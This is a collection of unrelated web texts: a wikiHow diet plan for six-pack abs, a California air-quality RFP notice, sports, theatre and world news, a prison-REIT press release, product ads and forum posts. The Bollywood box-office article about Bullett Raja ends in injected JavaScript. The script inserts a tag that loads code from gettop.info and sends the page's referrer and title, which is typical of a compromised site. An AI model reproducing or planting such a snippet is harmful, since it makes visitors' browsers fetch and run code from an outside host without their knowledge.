- For dinner, add as many fresh vegetable variations to the stir-fry as you like, but do not increase the recommended amount of oil. Season with spices like fresh herbs and chillies to add flavor and eliminate the salt. Substitute whole grain noodles or brown rice for traditional processed starches.
2Day 2: Make homemade muesli for breakfast, a spinach salad with a hard-boiled egg for lunch, and grilled salmon and vegetables for dinner. This menu will provide plenty of protein, carbohydrates, healthy fat, fiber, and vitamins and minerals to help give you enough energy to keep performing well during your workouts. Add a glass of low-fat milk to lunch or dinner to help your muscles heal from your ab routine.
- Use fresh instead of dried fruit in your muesli (they're filled with more air and water to give you the illusion of being fuller faster), low fat milk or yogurt (healthy fats are essential – you don't need to cut them out completely), and do not exceed a quarter cup of nuts or seeds in the recipe.
- Add additional fresh vegetables to the spinach salad if desired and use a vinegar and oil or fruit juice based dressing. If you want a richer dressing, add some Dijon mustard or turmeric powder to it.
- Glaze the salmon fillet with fruit juice or olive oil and sprinkle with herbs before serving with brown rice and roasted or grilled vegetables such as zucchini, tomatoes, or eggplant.
3Day 3: Prepare an egg-white omelet for breakfast, a grilled vegetable and cheese panini for lunch, and lentil soup for dinner. Use no more than one tablespoon of olive oil or vegetable oil for each recipe and buy low-fat cheese to avoid unnecessary saturated fat. This combination of meals will provide tons of nutrients with very few calories, and supplies the appropriate amount of fat for the lean diet you need.
- Try a variety of vegetables in the omelet such as asparagus, tomato, and mushrooms, and serve with a side of fresh berries, half a grapefruit or a quarter of a pomelo.
- For the lentil soup, add extra vegetables, such as mashed carrots or tomatoes, and top with 2 tablespoons (29.6 ml) of fat-free sour cream instead of cheese.
4Day 4: Mix up a plain yogurt and fresh fruit parfait for breakfast, a tuna salad sandwich for lunch with a cup of fresh veggie sticks, and grilled chicken and vegetable skewers for dinner. This menu is packed with protein, a few carbohydrates to supply energy, a healthy amount of essential fatty acids, antioxidants, vitamins, and minerals.
- If you would like to add cereal to your parfait, select a brand with no added sugar and made with whole grains. If you want to boost your protein intake, substitute plain yogurt for unsweetened, fat-free Greek yogurt.
- Avoid using mayonnaise in your tuna salad by swapping in homemade vinaigrette and adding red onion, low-sodium pickle juice and a handful of fresh dill.
- When making skewers, limit your meat to 3 oz. for women, and 4 oz. for men per serving. Fill up on vegetables, such as bell peppers, onions, mushrooms, tomatoes, and zucchini.
5Day 5: Prepare whole grain cereal with low-fat milk and 1 cup of fresh fruit for breakfast, a brown rice and vegetable stir-fry bowl with tofu or lean sliced beef, and grilled halibut with fresh fruit salsa and baked sweet potato for dinner. This menu supplies carbohydrates in the morning and afternoon followed by healthy fats, protein, fiber, and a variety of antioxidants and other nutrients. Your body will need these extra carbohydrates to get you through the last day of both cardio and muscle training before you rest your abs for a day or two.
- Sip on low-fat milk with lunch for extra protein, whey, and nutrients your muscles need to repair damage and build new muscle.
- Top the baked potato with powdered ginger and cinnamon, low-fat sour cream and pepper, or caramelized onions and garlic in a balsamic vinegar reduction.
Snacking & Resting
Snack smartly. Your meals should be timed between 3 to 5 hours apart. In between meals, have a nutrient-dense snack. Avoid snacks high in calories, sugar, fat, or salt. Opt for fresh slices of fruits or vegetables, whole grain crackers with low-fat string cheese, a homemade coffee with skim milk, an apple or banana, or 5 sheets of nori.
1Maintain your healthy diet on rest days. After a long week of hard work, it can be tempting to binge on restaurant foods, snacks, and sweets.
2Eat a little less on your rest days to compensate for the lower level of calorie burning. On rest days, it's more important than ever to load up on vegetables and lean protein.
3Resist the temptation to consume alcohol on rest days.
4If you are eating away from home, limit portions and select lean options in small quantities, such as grilled chicken sandwiches, baked potatoes with vegetable toppings, vegetable soups, and salads with dressing on the side.
Community Q&A
How can a thirteen-year-old get a six-pack?wikiHow ContributorThe same way an adult does, by working out and eating healthy. Check out the how to get a 6 pack article for more information!
How can I get a six-pack and strong muscles at the same time?wikiHow ContributorThese are two separate goals. Work towards getting a six-pack by eating well and losing fat. This will make your abdominal muscles look more defined. To become strong, do ab exercises every day.
What food should I eat to put on mass?wikiHow ContributorConsume lots of nuts, whole milk, Greek yogurt, oats, and carbs. If you want to put on mass you'll probably want to avoid being full all the time, so aim for calorie-dense foods!
Can an eleven year old get a six pack?wikiHow ContributorYes, anyone can get a six pack with proper exercise and nutrition/diet.
I eat all of this, but nothing happens, why?wikiHow ContributorYou have to do a lot of ab exercises to get a 6 pack, in addition to the dietary requirements. Be patient and stick with it, it takes time to build muscle.
What is the best thing to eat for breakfast?wikiHow ContributorFor a lean diet I like eggs since they are low in calories.
Should I workout after I eat or before?This depends on what level of exercising you are doing, and whether you're doing it for competition or just for fun. If it's competition, you would eat before your workout (not too much), which is also called 'Carbohydrate packing'. If it's for fun you would eat after.
How I can get rid of knee pain?wikiHow ContributorStrengthen your knees with exercise and do stretches regularly. If you think the pain is the result of a medical condition, consult a doctor.
Can eating bananas help me?Yes. Bananas are a good source of energy, potassium and some protein. Bananas will give you energy, potassium helps your nervous system and protein helps repair and build muscle.
Are meals important to get six pack abs?wikiHow ContributorYes, they are. Your body needs a lot of good calories while you work on getting six pack abs.
What are the foods that are easy to make in 5 minutes?
- Cut out junk food, soda, and alcohol. Your goal is to eliminate all calorie-dense, nutrient-deficient food sources. Candy bars, fries and beer will only make it harder to shed the layer of fat hiding your abs. The sooner you quit junk food, the faster you'll see the results of your efforts. If you find this step hard, ask yourself how long you're willing to keep up this intense 6 pack ab program before you achieve your goal. The more you cheat, the harder it'll get, and if you haven't noticed, it already starts off pretty hard.
- Eat breakfast every day. Many people skip breakfast because they don't have time for it but eating breakfast actually jump starts your metabolism and deters you from eating too many calories later in the day. Cereals don't take much time to prepare and consume, and there are lots of healthy options from which to choose. And if you are extremely pressed for time, consider purchasing a box of breakfast bars or a smoothie and throwing one in your bag when you leave for work or school. Some breakfast bars out there are also excellent sources of fiber. Even an apple or a yogurt is better than nothing.
- Learn correct portion size. It's not about eating a lot of the food you know is healthy. It's about eating the right amounts of the right foods to get 6 pack abs. Print out a guide sheet to help you estimate proper portion sizes for grains, lean meats, fats, carbs, dairy, fruits, and vegetables and make sure it's easy to access when you're preparing meals.
- Keep your metabolism steady. Eating one small meal every three waking hours (assuming you sleep at least 7 hours each night) will not speed up your metabolism; rather, it will keep it going. Your metabolism slows down when your body isn't fueled properly, so eating something small every three hours will keep that metabolism burning calories efficiently to help you lose weight. Every meal should include lean protein, so that your body won't need to break down your muscles for fuel, which would shrink your abs as well as slow down your metabolism.
- You can still eat lots of food and lose weight, you just need to avoid exceeding the recommended amount of fat and calorie intake per day while getting as many nutrients as possible.
- Take a multivitamin for your age daily with calcium and iron and all other nutrients and vitamins in order to make sure you are getting enough.
- Switch out refined grains for whole grains. In a scientific study, people who ate all whole grains (in addition to 5 servings of fruits and vegetables, 3 servings of low-fat dairy, and 2 servings of lean meat, fish, or poultry per day) lost more belly fat than another group that ate the same diet, but with all refined grains.
- Drink more water every day. To find out how much water you need to drink as a minimum per day, halve your weight (in pounds); that is how many ounces of water you need to drink. A 150lb person would need to consume a minimum of 2.2 liters (0.6 US gal) a day. It sounds like an absurd amount of water, but you get water from the food you eat, and you can drink teas and pure fruit juices to make up some of the quota.
- Supplements can be useful, but they are just what they advertise themselves to be: supplements. There is no magic pill to make you lose weight with no work.
- Do not restrict calorie intake excessively. This can be dangerous and actually decrease the speed with which you lose weight.
- You can't eat extra fat and carbohydrates because you are working out. Although you may need to increase your caloric intake slightly if you are becoming considerably more active, you will still need to burn more calories than you consume in order to lose weight and fat. Provided you eat a balanced diet with a variety of nutrients, you will not necessarily need to increase the amount of carbs or fat you take in; doing so will slow you down from getting 6 pack abs.
- All supplements still require consumers to watch their diet and increase their level of physical activity. A simple multivitamin or mineral pill is likely all that most people will need.
- No fitness video, machine, pill, or workout routine will miraculously give you 6 pack abs as quickly as you would like. A bit of protein powder in a shake or a multivitamin may help make up for certain protein needs or minor vitamin deficiencies, but pills promising weight loss or muscle growth are typically not approved by regulatory boards and are generally fail to fulfill their expensive promises.
Article Info
Categories: Upper Body Strengthening and Toning
In other languages:
Español: comer para tener un abdomen tonificado, Italiano: Mangiare per Ottenere Addominali a Tartaruga, Português: Comer Para ter um Abdômen Trincado, Deutsch: Sixpack Bauchmuskeln durch Ernährung bekommen, Русский: питаться, чтобы на прессе были видны кубики, Français: se nourrir pour avoir des abdos en béton
Thanks to all authors for creating a page that has been read 271,089 times.


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arbcombo -- RFP 07-312 Developing a California Inventory for Ozone Depleting Substance (ODS) and Hydrofluorocarbon (HFC) Foam Banks and Emissions from Posted: 13 Sep 2007 11:16:18
The California Air Resources Board (ARB) announces the release of Request for Proposals 07-312 The objective of the project will be to quantify the populations of foams in California by the types of blowing agents utilized (ODSs, HFCs, hydrocarbons, CO2, others) and a detailed accounting of the amount of foam stock by product category (eg, small appliance refrigeration) including both the associated banks and annual emissions. Specifically, for each application, the emissions rates (during foam production, installation, and lifetime), turnover rates, end-of-life disposal emissions, sector growth rates, refrigerant substitution rates, and banks will be generated. The timescales associated with emissions from foams (during lifetimes and after disposal) will be examined, as well as the effect of disposal method (shredding, landfilling, incineration) on greenhouse gas (GHG) emissions. Mitigation strategies will be examined in terms of costs and benefits as well as life cycle climate performance (LCCP), examples of which include the following: emissions reductions associated with foam production, installation, and lifetimes; low-global warming potential (GWP) blowing agents and not-in-kind (NIK) alternatives to high-GWP foam applications; and end-of-life recovery and thermal destruction of high-GWP foams. Emissions scenarios based on business-as-usual (BAU) as well as those incorporating various control strategies will be examined in the year 2020 to estimate possible CO2-equivalent (CO2E) GHG reductions and the associated costs, based on LCCP. The deliverables of the proposed project include a detailed bottom-up inventory for high-GWP GHG foam-blowing agents in California reflecting the existing stock as well as current and projected emissions for 2020; imports, plus manufacturing/production/use in California, as well as exports out of state will be accounted for in the inventory. The contractor will be required to propose a methodology for generating the inventory that could include data gathering from trade associations as well as surveying the sectors that employ high-GWP GHG foams in various applications. Bid Submittal Deadline: 11/7/2007 at 3:00 PM For additional information please click on the link below and type 07-312 as the contract number. www.cscr.dgs.ca.gov/cscr/ You are receiving this single arbcombo email because you are a subscriber to or have made a public comment to one or more of the following lists: research, rfp-ifb.


text: Tennessee Williams' celebrated 1944 drama The Glass Menagerie is returning to Broadway, and on August 20, the all-star cast met the press for the first time. Fresh from their run at the American Repertory Theater in Cambridge, MA, Cherry Jones, Zachary Quinto, Celia Keenan-Bolger and Brian J. Smith have arrived in New York for rehearsals at Signature Theatre Studios. The Glass Menagerie tells the story of matriarch Amanda Wingfield (Jones), who urges her son Tom (Quinto) to find a suitable "gentleman caller" for her shy daughter Laura (Keenan-Bolger). Click below to meet the cast, then catch The Glass Menagerie at Broadway's Booth Theatre beginning September 26!


text: Second use of the MES30 (gen1) smoker. First time around was pork ribs which came out great (used a good recipe /tips from this site, thanks SmokinAl). Still having problems the AMAZEN smoker tray stalling so I used the MES built in tray. Used a 50/50 mix of hickory and mesquite. Used a rub I had from last year found on the Internet, #99 rub, seems ok but I want to try others. Put the rub on and into the frig over night. Then into the smoker at 240 for about 4 hrs. Love the Maverick 733. Done in about 4 hours. Upped the temp towards the end to crisp the skin up. Came out good. No sauce needed.


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This simple introduction to both the Bhagavad Gita and Patanjali's Yoga Sutras is a gentle way to ease into these ancient texts. Crafted for use in Hatha Yoga studios, teacher training programs and experiential classroom venues, students will find the language of the audiobook friendly and engaging while teachers will find a rich offering of dialogue-encouraging questions and activities to enrich the learning experience.
Enlivened by original poetic commentaries and fleshed out with real world applications of these teachings, Easing into the Bhagavad Gita and Patanjali's Yoga Sutras provides an excellent starting point for the study of Indian philosophy.
©2013 Kimberly Beyer-Nelson (P)2014 Kimberly Beyer-Nelson
"Very good"
Love the excerise and the insights given by the author very enjoyable book will listen to it again
"Great discussion, poor pronunciation."
Is it "puh-TOON-juh-lee" or "pag-tahn-YAH-lee"? Neither, but the narrator switched between the two. It's "pah-TAHN-jah-lee". Hard to focus on content with these repeated errors.
"Not good"
Super hard to listen to, it should not be an audio book and also is more of a complimentary reference than an actual introduction.
"very difficult to listen"
not narrated by jack nolan
this is more of a workbook with all these questions
Jack nolans' way of emphasising is making it difficult and annoying listen to
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If you find this review inappropriate and think it should be removed from our site, let us know. This report will be reviewed by Audible and we will take appropriate action.


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Turkey is "totally suspending" all trade, military and defense industry ties with Israel, the Turkish prime minister said.
"Trade ties, military ties, regarding defense industry ties, we are completely suspending them," Recep Tayyip Erdogan, said in Ankara on Tuesday.
"This process will be followed by different measures," said Erdgoan, who referred to Israel as "a spoiled child", Al Jazeera reports.
Erdogan said Israeli diplomats ordered out of Turkey must leave by Wednesday.
He was referring specifically to defense trade, a spokesman later said, and not to general trade, the Wall Street Journal reports.
The WSJ reports:
Speaking to reporters in Ankara after giving a speech at the Ankara Chamber of Commerce, Mr. Erdogan repeated plans announced Friday to downgrade diplomatic relations with the Jewish state and suspend military agreements, specifying that the suspension of would include trade in defense goods.
"Trade relations, military relations, defense industry—these we will suspend. These will be completely frozen and that process will be followed also by very different sanctions," Mr. Erdogan said. Those measures still to come would be a "Plan C" to the "Plan B" already announced, he said.
So far, Turkey has announced no general trade sanctions against Israel. A spokesman for Mr. Erdogan said the prime minister had been referring in his remarks only to trade in defense goods, and not to trade in general. On Monday, Turkey's economy minister had said there would be no broader trade sanctions "for now."
Turkey and Israel did just under $3.5 billion worth of trade in 2010, according to official Turkish figures, and trade was up by a quarter in the first six months of this year.
Erdogan hinted on Tuesday that he might make a visit to Gaza, though adding that no final decision had been made yet, Al Jazeera reports.
"We are talking with the Egyptians on this matter ... A trip to Gaza is not finalized yet," Erdogan, who is due to visit Egypt next week.
Relations between the two deteriorated after Israel refused to apologize for its deadly raid on a Gaza-bound Turkish-flagged protest flotilla last year that left nine activists dead. A U.N. report last week found that Israel used "excessive" force but that it was entitled to its blockade of Gaza.
It also said that the pro-Palestinian activists had acted recklessly.
On Friday, Turkey expelled the Israeli ambassador in Ankara, suspended military deals and said it would have a greater naval presence in the eastern Mediterranean Sea.
"Israel's decision to board the vessels with such substantial force at a great distance from the blockade zone and with no final warning immediately prior to the boarding was excessive and unreasonable," the report said.
The inquiry called for Israel to make "an appropriate statement of regret" for the raid and pay compensation to the families of the dead as well as to injured victims.
Turkey and Israel should resume full diplomatic relations "repairing their relationship in the interests of stability in the Middle East," the report said.
Israel has expressed regret for the loss of lives in the 2010 flotilla raid but refused to issue an apology, saying it had acted in self defense.


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Tigmanshu Dhulia, the film-maker who usually makes alternative films like Saheb Biwi aur Gangster, Paan Singh Tomar, etc; has attempted a masala movie for the first time with the Saif Ali Khan and Sonakshi Sinha starrer Bullett Raja.
The movie started off with decent raking in of moolah in its opening weekend but didn't quite reach the intended weekend target. The film has grossed Rs. 12 crores in the opening weekend and is expected to gross 100 crores by the end of its run.
"Bullett Raja, is a film set in North India, was expected to open well in North circuits, especially in centres of U.P. While the opening shows of the film were quite good in certain parts of U.P., the general opening ranged from average to below average in several circuits. The occupancy was lower in Mumbai but picked up during the course of the day. Bullett Raja was never expected to start with a bang thanks to the lack of popular soundtrack. However, the film has the potential to strike a chord and like most Tigmanshu Dhulia movies. Meanwhile, last week's releases, Gori Tere Pyaar Mein and Singh Saab The Great, have been sidelined at major plexes, but Goliyon Ki Rasleela Ram-Leela continues to perform well and is expected to be the second choice of moviegoers this weekend, after Bullett Raja," said trade analyst Taran Adarsh.
Based in a small town in Uttar Pradesh, Bullett Raja follows the story of a common man Raja Mishra, who uses guns, grime, and glory to become a dreaded gangster.document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";


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Walgreens Hydroxycut Deal
Here is another great deal on Hydroxycut products! This week Walgreens has both the Hydroxycut Protein Shakes and Protein Bars on sale for $4.99 each. We got an awesome $5/1 Hydroxycut Product in the 2/2 Smart Source insert making it possible for you to pick these up for FREE after the coupon! Wow awesome deal!
Here is your deal at Walgreens through 2/8:
Be sure to check out the rest of the Walgreens Deals for the week before you shop.


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Renault duo satisfied with Friday running
|F. Alonso
|L. Hamilton
|S. Vettel
24 June 2011 – Lotus Renault GP driver pairing Nick Heidfeld and Vitaly Petrov were encouraged by the pace they demonstrated at Valencia on Friday, with both men occupying top ten positions in first and second practice. Heidfeld completed a sizeable amount of laps in the afternoon to end the day ninth quickest, while Petrov rounded out the top ten, albeit half a second slower than his German team-mate.
"The new medium tyre feels good and I'm really happy with the results from it as it has not been tested that much. I think the times at the end of FP2 give the best indication of our pace relative to our competitors. In this morning's session, I think some other teams were running different programmes from us, so their times might have been a little misleading."
"I enjoyed the new medium tyres and they weren't performing badly. It's clear the soft tyres are, as expected, around 1.5 seconds quicker than the mediums so we will have to perform well on these tomorrow in order to have a successful weekend."


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|<< Back
|CCA Board of Directors Authorizes REIT Conversion
|Download PDF
Shareholder Vote
Shareholder approval of the REIT conversion is not required. However, to ensure we meet REIT shareholder ownership restrictions, CCA plans to present to shareholders a proposal at our Annual Meeting of Stockholders in
Internal Reorganization
As previously announced, the Company completed an internal reorganization of its business operations at the end of last year which will allow it to elect to qualify as a REIT for the taxable year commencing
To maintain REIT status the Company will need and expects to meet a number of ongoing REIT qualification requirements. One such requirement generally mandates annual dividends to shareholders equal to at least 90% of annual tax basis net income (the Minimum Annual Dividend). A REIT is permitted to deduct dividends paid to its shareholders from its corporate taxable income, and therefore, taxes are paid by shareholders on the dividends received. The Company intends to make quarterly dividend payments that in the aggregate will be equal to or greater than the Minimum Annual Dividend required. The Company is considering changing its quarterly dividend payment schedule to April, July, October and January beginning in 2013.
E&P Dividend and Other Conversion Items
In order to comply with REIT rules, CCA's Board plans to declare a special one-time dividend to distribute earnings and profits accumulated prior to our REIT election of approximately
Note this E&P Dividend will be taxable in 2013 and the amount of cash each shareholder receives may not be sufficient to cover the full amount of federal and state taxes owed on this distribution. Shareholders are encouraged to consult with their tax professional to determine the personal tax consequence of this distribution.
We estimate we will incur approximately
Debt Capital Markets Transactions
As discussed above, the Company intends to pay the E&P Dividend with a combination of cash and common stock and to pay quarterly cash dividends to meet the Minimum Annual Dividend requirement. The Company expects to execute several debt capital markets transactions during 2013 in order to obtain the covenant flexibility to make these dividend payments and to raise additional capital to fund various aspects of the REIT Conversion. The Company plans to refinance all of its
The opinion of
2012 and 2013 Financial Guidance
The Company is raising its 2012 financial guidance as follows:
Both FFO and AFFO for 2012 have been adjusted to conform more closely to NAREIT definitions and to be consistent with the calculations of 2013 guidance amounts below. The 2012 guidance excludes income statement impacts associated with the REIT Conversion Costs and debt refinancing expenses.
Full-year 2013 Guidance
The Company is providing full-year 2013 financial guidance as follows:
Our guidance includes an estimate of the impact from the additional borrowings discussed above as well as the impact from ongoing annual REIT compliance costs of
During 2013, we expect to invest approximately
Investor Conference Call and Presentation Information
An investor conference call and simultaneous webcast has been scheduled for
A replay of the audio webcast will be available on the website for one year. A telephonic replay of the conference will be available from
About CCA
CCA is the nation's largest owner of partnership correction and detention facilities and one of the largest prison operators in
Forward-Looking Statements
This press release contains statements as to the Company's beliefs and expectations of the outcome of future events that are forward-looking statements as defined within the meaning of the Private Securities Litigation Reform Act of 1995. These forward-looking statements are subject to risks and uncertainties that could cause actual results to differ materially from the statements made. These include, but are not limited to, the risks and uncertainties associated with: (i) our ability to meet and maintain REIT qualification tests; (ii) general economic and market conditions, including the impact governmental budgets can have on our per diem rates, occupancy and overall utilization; (iii) fluctuations in our operating results because of, among other things, changes in occupancy levels, competition, increases in cost of operations, fluctuations in interest rates and risks of operations; (iv) our ability to obtain and maintain correctional facility management contracts, including as a result of sufficient governmental appropriations and as a result of inmate disturbances; (v) changes in the privatization of the corrections and detention industry, the public acceptance of our services, the timing of the opening of and demand for new prison facilities and the commencement of new management contracts; (vi) the outcome of
FFO and AFFO are widely accepted non-GAAP supplemental measures of REIT performance following the standards established by the


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Protests in Thailand and a series of terrorist attacks in India have caused several Northwest-Delta flight cancellations.
Both Northwest and Delta Airlines have cancelled flights to Bangkok and Mumbai, as a result of recent unrest in both countries.
In Bangkok, anti-government protestors have forced the shut-down of two airports in the capital city. In Mumbai, more than 150 people -- including four Americans -- were killed in a coordinated series of attacks across the city.
Robert Laughlin is a spokesman for Eagan-based Northwest. He said Delta and Northwest both tentatively plan to resume their services to Mumbai on Sunday, November 30. Flights to Bangkok are tentatively scheduled to resume on Tuesday, December 2.
"We continue to monitor the situation and will resume service only if we determine that it is safe to do so," Laughlin said.
Laughlin said customers who have travel plans to India or Thailand on either airline may reschedule or cancel their flights without incurring a fee. Customers who need rebooking assistance are being asked to contact the airlines directly.


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College Football 2011: Spartan Trenton Robinson Atop Big Ten Safety RankingsJuly 23, 2011
College Football 2011: Spartan Trenton Robinson Atop Big Ten Safety Rankings
Maybe we've returned to the "big two and little eight" days of Big Ten football, because most experts rate the Spartans' Trenton Robinson and Wisconsin's Aaron Henry as the top two safeties in the conference and then debate who should round out the top 10 list.
Ohio State and Illinois should be pleased, because they placed both their free safety and strong safety in the list. Purdue, Minnesota, Indiana and Iowa failed to place anyone in the top 10.
No. 10 Safety: Drew Astorino, Penn State Nittany Lions
Strong safety Drew Astorino is considered the quarterback of the Nittany Lions defense.
He is an aggressive tackler and earned an honorable mention at safety on the All-Big Ten team. Astorino had 70 tackles in 2010, which was good for fourth on the team.
Penn State's star safety saved his best performances for the primetime win over Michigan and the comeback victory over Northwestern.
He started 12 games for the Nittany Lions and grabbed one interception last year. He is expected to play his senior year with the same intensity he showed in 2010.
No. 9 Safety: Tavon Wilson, Illinois Fighting Illini
Senior Tavon Wilson (uniform No. 3 in the picture) is the Illini's starting strong safety and earned an All-Big Ten honorable mention in 2010.
He played and started all 13 games last year, recorded 48 tackles and lead the team in pass breakups with eight. Wilson had one interception and two fumble recoveries.
All these numbers seem pretty impressive for a player who switched to safety in 2010. Wilson played cornerback his first two seasons at Illinois.
No. 8 Safety: Jordan Kovacs, Michigan Wolverines
Despite the poor overall performance of the Michigan defense, safety Jordan Kovacs seemed to be tackling anything that moved on the football field in 2010.
He finished with 115 stop last year, which is frightfully high for a defensive back. However, Kovacs also recorded 8.5 tackles for losses and had two interceptions.
The junior safety should be even better this year as Michigan tries to rebound from a disappointing 2010 season.
No. 7 Safety: Trulon Henry, Illinois Fighting Illini
Free safety Trulon Henry was an honorable mention on the All-Big Ten team in 2010. He led the Fighting Illini with three interceptions, forced two fumbles, recovered a fumble and was credited with three pass breakups.
Henry also had 64 tackles and the returning senior will team with strong safety Tavon Wilson (No. 9 on this list) to stifle an opposing Big Ten team's passing game.
No. 6 Safety: Tyler Moeller, Ohio State Buckeyes
Tyler Moeller plays safety like a linebacker. In other words, the Buckeye senior is not timid when it comes to tackling opponents.
His biggest problem was missing more than half of the season last year due to a torn pectoral muscle. Before his injury, Moeller proved to be quite a playmaker with 4.5 tackles for a loss, two forced fumbles and an interception.
Moeller will team with strong safety Orhian Johnson (No. 3 on this list) to be the best pair of starting safeties in the Big Ten this year.
No. 5 Safety: Courtney Osborne, Nebraska Cornhuskers
As a sophomore last year, Courtney Osborne proved that he could compete as a Nebraska safety.
He made contributions in every game in 2010 and started in four of them. Osborne had 41 tackles, five tackles for loss, an interception and one sack.
Though his junior year will be his first as the Cornhuskers' full-time free safety, Osborne should help Nebraska compete for the Legends Division title and the Big Ten championship.
No. 4 Safety: Brian Peters, Northwestern Wildcats
Brian Peters is as important to the Wildcats defense as star quarterback Dan Persa is to the Northwestern offense.
The senior free safety has played in every game the last three years. Peters also knows how to locate the football with three interceptions in 2010 and three in 2009.
He was an All-Big Ten second-team selection and had 107 tackles last year.
No. 3 Safety: Orhian Johnson, Ohio State Buckeyes
You look at picture after picture of the Ohio State defense in 2010, and safety Orhian Johnson seems to be in every play.
The junior safety enters this season as one of the Buckeyes' leading tacklers. Johnson deflected three passes, broke up two and intercepted one in 2010.
He and fellow safety Tyler Moeller will be the most punishing set of safeties in the Big Ten this year.
No. 2 Safety: Aaron Henry, Wisconsin Badgers
It's hard to believe that last season was Aaron Henry's first year as Wisconsin's free safety.
He seemed to be the defensive instigator on the Badgers' defense with 58 tackles, seven pass breakups, three fumble recoveries, two interceptions and one forced fumble. Opposing offenses had to keep an eye on Henry, because he seemed to come from nowhere to make critical defensive stops.
Henry would like nothing better than to finish his senior season with the Leaders Division and the Big Ten titles.
No. 1 Safety: Trenton Robinson, Michigan State Spartans
Bleacher Report joins rivals.com, ESPN.com and nfldraftscout.com in declaring that Spartan senior safety Trenton Robinson is the best safety in the Big Ten.
Last year, Robinson had 76 tackles, 12 pass breakups and four interceptions. He was the critical "glue" in the Michigan State secondary that helped lead the team to an 11-2 record and a share of the Big Ten title with Wisconsin.
Robinson would like to finish his career at MSU with a Legends Division title and a win in the Big Ten title game in Indianapolis.


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Washington sympathizes with fired Geren
Washington sympathizes with fired Geren
MINNEAPOLIS -- Rangers manager Ron Washington had two close friends fired in two days. Thad Bosley was dismissed as the Rangers hitting coach on Wednesday and Bob Geren was let go as the Athletics manager on Thursday. Geren and Washington were on the Athletics coaching staff in 2003-06. "I feel for Bob, he has a passion for baseball and a deep passion for being the manager of the Oakland Athletics," Washington said. "I know he's disappointed he couldn't move them farther but he's a great baseball man. As we move forward, he'll find another job." The Athletics finished second to the Rangers last season. But they went into Thursday's game with the White Sox having lost nine in a row, leaving them eight games out of first place in the American League West. Their biggest problem has been a pitching staff that has been clobbered by injuries. Dallas Braden, Brandon McCarthy, Brett Anderson, Tyson Ross and Andrew Bailey are among the pitchers that have been on the disabled list with the Athletics.
"I always said Oakland had to stay healthy," Washington said. "When you have three or four pitchers on the disabled list, that's pretty tough. I thought they were ready to make a move or hang in there. But it's not over yet."


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At Gemvara, we believe that the jewelry you wear should be as unique as you. Every beautiful Gemvara one birthstone december birthstone stackable jewelry design will be made just for you. It's jewelry for all life's occasions, from a wedding or graduation to your own personal milestones and celebrations. Our brilliant gift ideas with a personal touch will make this a Mother's Day to remember. Gemvara uses only the highest quality materials to craft your one birthstone december birthstone stackable jewelry with meticulous attention to detail. Our precious metals are recycled or responsibly mined. December's birthstones are blue topaz and tanzanite, both with a heavenly blue color: December babies get a choice of bright sky blue or deep twilight blue. Our wide selection of one birthstone december birthstone stackable jewelry by Just Like You Designs, Jeet Palavwala, Damon Washington, and other talented designers means you can find rings, earrings, and necklaces that are exactly your style. You can also shop by style, choosing our Streamlined, Claddagh, or Casual & Fun Collections. Design the perfect stackable rings to express your signature style. When our work is done and you open that box, you'll see your design is even more beautiful when brought to life in the finest precious materials.
We can help right away. Chat with a jewelry expert now!


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|January 18, 2013, 12:12 PM
Senior Member
Join Date: May 16, 2008
Posts: 9,598
Ruger e-mails
Is anyone else suddenly receiving DAILY e-mails from Ruger? I know I signed up for some e-mails regarding new products a while back, but they used to come every few weeks and now I am getting one a day. A fair amount of the content is repeats. Do they think this is a good marketing strategy?
$0 of an NRA membership goes to legislative action or court battles. Not a dime. Only money contributed to the NRA-ILA or NRA-PVF. Second Amendment Foundation is a solid alternative.
First Shotgun Thread First Rifle Thread First Pistol Thread
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Posted by José Luis Vilson on Thursday, 12/26/2013
A couple of days ago, I spoke about the importance of teacher leadership and the urgency of creating your own voice. Rafranz Davis commented:
"I agree with you 100%, however I've seen too many instances where teachers have tried to take a stand, lead and be heard...only to be "put in their place" by the admin, campus and district, being uncomfortable with relinquishing control ... stopped that "little revolution" before it even started. What do you tell that teacher?"
It's a great question and one that comes up too often. Why must teacher leadership be so difficult? The idea of teacher leadership sounds like a novel idea, one necessary for the growth of any profession. It helps everyone involved, too. Teachers get to demonstrate their professional growth over time and help the school in whatever capacity necessary, filling voids where need be. Principals get to say they cultivate leaders in the building, and work with teacher leaders on mentoring new teachers. Students get a benefit of having a teacher with a macro-view of the school, and any expertise shared by the teacher leader could be shared in their classrooms.
Yet, as with everything, how teacher leaders arise can either inspire or smack of favoritism, depending on the school.
Leadership often requires a level of honesty that our education system still doesn't value. Sometimes, the person who wants their voice heard isn't trying to be part of the solution, which is another problem altogether. The most effective of us know that our voices often come with a responsibility; speaking up means providing more than "See, the problem is ..."
Because teacher leadership is any number of things, but it's not busy work. When I think of teacher leadership, I think of teachers creating, facilitating, and helping items that directly influence student learning. Curriculum development? Yes. Data creation? Eh, somewhat. Dean-ing / disciplinarian work? It depends. Mentoring other teachers? Absolutely. Organizing paperwork? Mostly no.
I have plenty more examples, but our little revolutions won't go anywhere if we don't clearly define what it is we're after. In no way am I saying don't speak up. I'm merely saying we should know what we do once we speak up. Because, otherwise, you'll be given a task that'll keep you quiet, and that's not how change happens.


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ZRAT [pronounced "Zee Rat"]
Designed especially for DEATHMATCH. Also good for single-player and cooperative play. Includes new graphics, made from scratch by the author, inclu...
ZRAT [pronounced "Zee Rat"]
WAD Type
Read Me
*** ZRAT *** Brought to you by Banished CPU
